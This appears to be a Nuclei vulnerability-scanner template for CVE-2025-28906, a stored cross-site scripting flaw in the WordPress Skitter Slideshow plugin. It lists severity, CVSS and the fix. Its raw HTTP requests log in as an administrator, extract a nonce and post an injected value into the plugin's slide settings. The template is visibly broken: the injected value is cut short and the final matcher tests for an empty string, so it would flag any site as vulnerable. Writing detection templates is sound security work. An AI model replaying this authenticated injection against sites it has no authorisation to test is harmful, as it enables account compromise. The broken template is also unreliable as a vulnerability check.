id: CVE-2025-28906
info:
name: Skitter Slideshow <= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting
author: nblirwn
severity: medium
description: |
The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.
impact: |
Authenticated administrators can inject stored XSS through improperly sanitized configuration parameters, potentially compromising other administrator sessions and gaining persistent control.
remediation: |
Upgrade to Skitter Slideshow version 2.5.3 or later that properly sanitizes and escapes configuration inputs.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-skitter-slideshow/skitter-slideshow-252-authenticated-administrator-stored-cross-site-scripting
- https://wordpress.org/plugins/wp-skitter-slideshow/
- https://patchstack.com/database/wordpress/plugin/wp-skitter-slideshow/vulnerability/wordpress-skitter-slideshow-plugin-2-5-2-cross-site-scripting-xss-vulnerability
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
cvss-score: 5.9
cve-id: CVE-2025-28906
cwe-id: CWE-79
epss-score: 0.00498
epss-percentile: 0.40658
metadata:
verified: true
max-request: 5
publicwww-query: "/wp-content/plugins/wp-skitter-slideshow/"
tags: cve,cve2025,wp-plugin,wp-skitter-slideshow,wordpress,wp,xss,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- "contains(body_1, 'wp-content/plugins/wp-skitter-slideshow/')"
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=wp_skitter_settings&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_skitter_menu&wp_skitter_type=posts&wp_skitter_category=1&wp_skitter_slides=">&wp_skitter_xml=&wp_skitter_theme=square&wp_skitter_animation=random&wp_skitter_type_navigation=numbers&wp_skitter_width=&wp_skitter_height=&wp_skitter_background=%23000&wp_skitter_crop=true&wp_skitter_velocity=&wp_skitter_interval=&wp_skitter_navigation=true&wp_skitter_numbers_align=left&wp_skitter_label=true&wp_skitter_label_animation=&wp_skitter_width_label=&wp_skitter_easing_default=&wp_skitter_controls_position=&wp_skitter_focus_position=&wp_skitter_with_animations=&wp_skitter_auto_play=true
- |
GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code_4 == 200"
- "contains(body_4, '')"
condition: and
extractors:
- type: regex
name: nonce
part: body_2
group: 1
internal: true
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
# digest: 4a0a0047304502207eaf4d2c668f04c691b2d63df1b173550acd4e55a408ccc00ddc618dd8acdbe7022100d7e485cc190f37637c006a326e74c79ac35bc91058e45827e2051e72ea756e4a:922c64590222798bb761d5b6d8e72950